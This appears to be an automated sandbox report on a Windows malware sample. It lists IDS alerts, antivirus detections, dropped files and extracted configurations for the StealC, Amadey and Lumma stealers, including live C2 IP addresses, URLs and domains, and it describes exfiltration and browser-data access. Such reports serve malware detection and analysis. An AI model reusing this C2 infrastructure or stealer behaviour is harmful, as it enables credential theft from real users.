2024-11-22T04:12:35.947384+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	49825	172.67.155.248	443	TCP
2024-11-22T04:12:51.419691+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	49872	172.67.155.248	443	TCP
2024-11-22T04:12:53.949638+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	49883	172.67.155.248	443	TCP
2024-11-22T04:12:57.878130+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	49895	172.67.155.248	443	TCP
2024-11-22T04:13:00.617786+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	49906	172.67.155.248	443	TCP
2024-11-22T04:13:03.466398+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	49924	172.67.155.248	443	TCP
2024-11-22T04:13:08.455114+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	49938	172.67.155.248	443	TCP
2024-11-22T04:13:12.435155+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	49951	172.67.155.248	443	TCP
2024-11-22T04:13:19.684595+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	49973	172.67.155.248	443	TCP
2024-11-22T04:13:24.565369+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	49989	172.67.155.248	443	TCP
2024-11-22T04:13:26.855047+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	49996	172.67.155.248	443	TCP
2024-11-22T04:13:29.832334+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	50006	172.67.155.248	443	TCP
2024-11-22T04:13:32.742389+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	50018	172.67.155.248	443	TCP
2024-11-22T04:13:36.364776+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	50029	172.67.155.248	443	TCP
2024-11-22T04:13:41.099393+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	50056	172.67.155.248	443	TCP
2024-11-22T04:13:45.262135+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	50074	172.67.155.248	443	TCP
2024-11-22T04:13:47.579544+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	50087	172.67.155.248	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:13:22.066280+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49981	185.215.113.16	80	TCP
2024-11-22T04:13:49.829960+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50094	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:12:33.334257+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49813	185.215.113.43	80	TCP
2024-11-22T04:12:41.922996+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49837	185.215.113.43	80	TCP
2024-11-22T04:12:49.387529+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49856	185.215.113.43	80	TCP
2024-11-22T04:12:59.785272+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49902	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:12:31.975472+0100	2057730	1	Domain Observed Used for C2 Detected	192.168.2.4	58880	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:12:42.979477+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49835	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:12:42.858818+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49835	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:12:43.308544+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49835	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:12:44.749948+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49835	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:12:43.439462+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49835	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:13:01.550620+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49906	172.67.155.248	443	TCP
2024-11-22T04:13:41.830309+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50056	172.67.155.248	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:12:42.409959+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49835	185.215.113.206	80	TCP
2024-11-22T04:13:37.079691+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50028	185.215.113.206	80	TCP
2024-11-22T04:13:47.612152+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50086	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:12:04.928729+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49748	185.215.113.43	80	TCP
2024-11-22T04:17:14.156790+0100	2856147	1	A Network Trojan was detected	192.168.2.4	50347	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:12:23.226285+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49754	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:12:09.531707+0100	2803305	3	Unknown Traffic	192.168.2.4	49760	31.41.244.11	80	TCP
2024-11-22T04:12:26.138232+0100	2803305	3	Unknown Traffic	192.168.2.4	49798	185.215.113.16	80	TCP
2024-11-22T04:12:34.852307+0100	2803305	3	Unknown Traffic	192.168.2.4	49819	185.215.113.16	80	TCP
2024-11-22T04:12:43.431967+0100	2803305	3	Unknown Traffic	192.168.2.4	49842	185.215.113.16	80	TCP
2024-11-22T04:12:51.086990+0100	2803305	3	Unknown Traffic	192.168.2.4	49867	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:12:45.196196+0100	2803304	3	Unknown Traffic	192.168.2.4	49835	185.215.113.206	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:13:46.106656+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50074	172.67.155.248	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://cook-rain.sbs/api:	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apiHOME	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/H	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/C	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/6	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000034.00000002.3376968431.000000000170B000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 00000002.00000002.1765529508.0000000000A91000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0db0ccc3ed.exe.5572.13.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["peepburry828.sbs", "p10tgrace.sbs", "p3ar11fter.sbs", "3xp3cts1aim.sbs", "processhol.sbs"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 50%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=0db0ccc3ed.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=0db0ccc3ed.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=0db0ccc3ed.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.4:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49906 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.22:443 -> 192.168.2.4:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.22:443 -> 192.168.2.4:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.22:443 -> 192.168.2.4:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.248:443 -> 192.168.2.4:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50097 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50138 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.91:443 -> 192.168.2.4:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50155 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50183 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.50.80.209:443 -> 192.168.2.4:50282 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50327 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50324 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50326 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50325 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 0db0ccc3ed.exe, 0000000D.00000003.3189560921.0000000008660000.00000004.00001000.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000002.3304640696.00000000065A2000.00000040.00000800.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F9DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	10_2_00F9DBBE
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00FA68EE FindFirstFileW,FindClose,	10_2_00FA68EE
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00FA698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	10_2_00FA698F
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F9D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00F9D076
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F9D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00F9D3A9
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00FA9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_00FA9642
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00FA979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_00FA979D
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00FA9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	10_2_00FA9B2B
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00FA5C97 FindFirstFileW,FindNextFileW,FindClose,	10_2_00FA5C97

Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Adobe
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Packages
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Mozilla
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\.ms-ad

Source: chrome.exe	Memory has grown: Private usage: 10MB later: 28MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 187MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49748 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49754
Source: Network traffic	Suricata IDS: 2044623 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) : 192.168.2.4:49794 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057730 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs) : 192.168.2.4:58880 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:49818 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49813 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:49825 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49835 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49835 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49835
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49835 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49835
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49835 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49856 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:49883 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:49872 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49837 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:49895 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:49906 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49902 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:49924 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:49951 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:49973 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:49938 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:49989 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:49996 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:50006 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:50018 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:50029 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50028 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:50056 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:50074 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:50087 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50086 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:50347 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49973 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49883 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49906 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49883 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49818 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49818 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49989 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50056 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49989 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49872 -> 172.67.155.248:443
